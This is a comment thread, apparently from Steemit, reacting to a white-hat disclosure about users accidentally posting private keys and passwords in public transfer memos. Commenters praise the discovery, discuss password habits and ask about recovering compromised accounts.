Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
It's clear this mistake can be made way too easily, even by those who are generally more careful and/or experienced (cough cough). So I'm glad to hear noisy's fix is in progress. Although in the future (hopefully not too distant), it would be great if memos were private!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
is there a plan for things like a "will" might include...for lost credits? IE, if someone dies or goes bye bye where and how can we transfer bitcoins to our next gen? or in this case steem.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
before I went public with this, I already prepared a fix which is doing exactly this ;)
https://github.com/steemit/condenser/pull/1464
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Damn noisy, you deserve all the respect!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
WoW, this topic woke me up better than any Cuban cup of coffee could.
Thanks for posting!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I got excited and nervous when I saw the title. As a newbie - I am still learning how to ensure that my account is secure. Thanks so much for sharing this information. Everyone should be aware of this. This post is so important. How can this post get more publicity> That is one feature of Steemit that I still wonder about. Was surprised to see Dollar Vigilante on the list. Just goes to show anyone can make an error. Thanks so much. Upvoted and resteeemed
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thankfully I and my followers are not on that list. Awesome work! Don't know that those who have to change passwords will agree, but better you than someone else IMHO. Upvoted Resteemed :)
Have a great day.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
This reminds me of how annoying it is when I accidentally paste a password into a google search or something stupid like that.
I then have to go through the process of changing that accounts password to recover from my error.
Easy mistakes to make.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Wow...grateful you're using your powers for good and not evil! That's not a list I want to be on; thankfully only my private key was exposed, and super duper thankfully you seem to be an honorable gent. Excellent example to bring awareness to cyber security and more importantly to decent human values 👏 👏 👏
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thank you for looking out for the community. This could happen to anyone. But luckily there was a good (and skillful) person there to help.
White Hats off to you!!!!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Good job.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Stirling work chaps !! that's community for you. I applaud you and am sending 10% of my steem dollars to you in thanks on behalf of the community. That's a very useful service and great to know steemit has it's own warlocks to keep out the wolves !!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thank you, it's really great that you caught this, created a solution and shared. I'm new and am a lot more clear on the importance of security from your post. Upvoted and following you to learn more...
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
@noisy WOW great work man! First off your due diligence on this matter is extremely commendable and I think on behalf of all Steemians seeing this not only makes us weary, but now educated on whats really going on. Thank you for this.
Have you spoke to anyone in the administration of Steemit regarding this matter?
Thanks! Upvoted, reblogged and now I will follow!
-@bostonrob
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Excellent work, thanks for pointing this out.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
This was pretty evil genius of you.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thank you so much @noisy & @lukmarcus for your honest work! Had me a little nervous there for a second!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
You are a really good and clever guy! I just informed two known accounts to read your post.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
great work and great ethical and responsible actions.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Damn noisy this is smart and generous at the same time
Great work brother
UPVOTED
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
heroes!!!!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Nice catch!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Wow, thanks for finding this potentially devastating "bug"!!! Good job @noisy!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I like your code, fellow python programmer! lol.. People, dont put the priv key in your memo.... lol
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Would love my
own pass
+word not a generated one.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Unfortunately, I ran into a few people that feel the same way except they are pointing to that being their reason to not join us. They just don't get the fact that we are dealing with real money here, money that can be stolen and never returned.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Exactly, I think they should protect their money for sure. My comment got all messed up somehow and I had to edit it again, I guess you cannot say anything about yo + ur Pa = +as word lol. I had to type it out weird to get around a filter I guess? hmm.
Anyways, If they just made you pick a password with at least 20 characters, 1 capital, 1 lowercase, 1 special symbol, 1 number, and no more than 3 repeating nums/chars/symbols, i think that would be fine. I feel like someone is more likely to hack my computer and steal my password for steem than they are to guess my password. not to mention I have to write it down and also have multiple copies somewhere.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I completely agree. I have to haven't written down , a photo printed out too so I don't mess up when writing it down and other archaic methods of 'securing' my Steemit account.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thanks for the warning.. following you!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Wow! Nice job, @noisy! I would never have thought of that.
I can't help but wonder of those who did it looked at that memo and though "Oh crap. I hope no one ever sees that."
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Great, you remind me to be more careful. Thank you! :)
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Nice work! I resteemed this post so as to raise the awareness of this issue!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Super job, this can help a lot people in future
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
yo @kingofdew is on the list! nice work guys, way to make the community stronger, not weaker, because of a flaw!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Oiooo nice one 😎
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Getting this link sent to Auburyfox
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
brilliant move! glad you used that vulnerability for good, and not for malicious gain
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Nice one noisy!
xD
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thank you for reminding folks of the copy and paste disasters that can and do occur. I have seen them show up in other places as well.
Stay Vigilant.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
you mean dollar vigilant. can't believe his name shows up here on article in that situation.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
right on
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
thanks for the PSA...
hurehurehure1234 ... LOL
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Nice work... I guess? No really, I appreciate your dedication guys. Awesome work you are doing there. keep it up!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Great job. Kudos to helping prevent people from making this mistake.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Good work @noisy! Thanks for bringing this up, walking everyone through what you did, and increasing the utility of Steemit. Love the transparency!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
White hat hackers are our modern day superheroes, no need for spandex nor corny names.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Doesn't stop some of us imagining they are wearing a primary colored cape and underwear on the outside of their tights though.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Really good work, thank god you got there first! 😎
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I hope all is well with @virtualgrowth. I like that guy! A sobering read I have to say!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thank you for checking on this error and improving steemit!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thanks for your alert and code work! A link to your post was included in Steem.center wiki article about Steem Key Management. Thanks and good luck again!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Good work :-) Thanks a lot. Changed immediatly my password. What for an adrenaline kick ;-)
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Ho can I get back my hacket Acount @miketr ?
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I wrote an instruction in a post, in a FAQ section, answer for: "My Account was hacked - what I should do?"
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thanks for keeping steemit save.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I don't see any evidence that I have been hacked. Nothing has been changed on my account nor my Steem have been put into savings. Comment?
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
please read FAQ section in my post, especially:
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
this is more important than the grow off the price . thankss!!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
followed you for such more stunts. lol!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
If only the people who hacked into my Coinbase account where so kindhearted :/ +1
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thanks for reading my reply XD, on such a popular post I would think that this would be lost.. haha. Do you think you could make a post regarding the recent coinbase hackings or maybe even resteem my post regarding the hack that essentially took my life savings yesterday? If you dont, that is fine, but considering your record of being one of the good guys, here goes nothing XD https://steemit.com/bitcoin/@sensatus/if-you-have-a-coinbase-account-beware-spread-the-word-fellow-steemians-and-cryptotraders
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Hey @sensatus I resteemed your story, hope you get it back soon one way or another! I hope people would help and upvote stories like yours.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Wow. Such a simple mistake. I was not aware people were actually making it. Meaning, I had no idea to even look at the memo area (probably because I don't care to gain access to anyone's account but my own).
Thank you for bringing this up. Hopefully people will be more careful, pay better attention, and most of all - change their passwords.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Great work! Thank you for bringing this to everyone's attention.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
As steem becomes moe and more valuable, black hat hackers and identity thieves an other greedy bad guys are going to want our precious steem!
Locking steem up in steempower prevents any theft of your steem unless someone can STAY on your account for a whole week to wait for that first of the 14 weekly payouts! LOL I always thought this was a great way to prevent theft of crypto! Because even if someone DID log in, initiate a power down WITHOUT you noticing, and then came back a week later to take that first payout, you would then notice it and change your passworrd, and the worst that would happen is you loose 1 /14th of your steempower but youd have to basicaly forget about your steemit account and never check up on it for that to happen! I really am scared of this and am wonering if we should constantly be changing our passwords?
Can we pay you to keep our accounts safe maybe like we pay to have a steemit security consultant come to your house and analyze your computer or smartphone and advise you on what t do to keep it all safe?
bevause unlike bitcoin and other altcooins we cant just keep our steempower on a trezr aam I wrong? I hope I am i wish there was a way to keep our steemit private master key offline forever, is that possible
i know stem could probobly be stored on an offline paper wallet
but what about steempower?
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
13 ;)
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Wow you are such a good man , despite the fact that u can use this to earn lots of money , you decided to help others . Such a good guy bro . It is lucky for steemit to have a user like you ! Wish you got more and more followers ! Upvoted and followed you~
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
that's wonderful great job or both of you and for helping this platform to be even better and secure. I wish I can be a hacker to help too, well maybe in the future who knows. It's nice and super cool to have honest hacker here on this amazing platform once again thanks and best of success.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Dobra robota @noisy chciałbym kiedyś być na takim poziomie, aby móc stworzyć podobny skrypt. W czym kodujesz? :)
Good job @noisy im impressed!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Normally I do not support "good guys" but I will make an exception in this case. Well done.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
BRILLIANT WORK!!!
Thanks for your kind an fair heart too, otherwise we might have seen a few crying posts over the last few days!?! This is great to all become aware of and my hat goes way up there to you for all this awesome work. All for one and one for all!
Namaste :)
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
you are right. let do this.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thank you so much now ill be sure not to make that mistake. Steem On!!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
For us newbies GOOD to KNOW! Much appreciated with your time, efforts and findings. I've saved this one for reference down the road on my steemit trail. Hopping along and now following!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
This is a revelation! Will be pretty useful for enhanching security features. Thanks for providing detailed information and sharing this. Very interesting read indeed.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Dam, this is awesome work! I am so proud of this community.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
RESPECT!! Glad that we have white hats like you and @lukmarcus on steemit who always look out for people who do not have enough specific knowledge to protect themselves on the web. You two are the guardian of steemit! hat tipped for you two.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Nice work thx for sharing this out
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Nice work.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I'm amazed with this job, great ethical, following you.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Great post... Keep it up
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
WOW, thanks for your efforts.
Following.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
That's fantastic. Thanks for doing this. It's a very easy mistake to make for people new to all of this.
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
I tip my fedora to you guys ^^
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Amazing man
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Genius! following...
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Thank you noisy! Really awesome work!
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Up-voted with full power and am following. Good guys get full power from me. Thanks for all you do. Nice to know the world still has us good guys in it. Peace.
: )
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
On one hand, I want to reSteem this to warn folks; on the other, I'm afraid I'd be passing on the info to hackers
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
this is great work! can't believe with a few steps and common knowledge you can acheve this
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit
Ah, so this is where the right reward pool is going lol
Well done in catching these mistakes. The folks with these accounts lucked out!
@shayne
Downvoting a post can decrease pending rewards and make it less visible. Common reasons:
Submit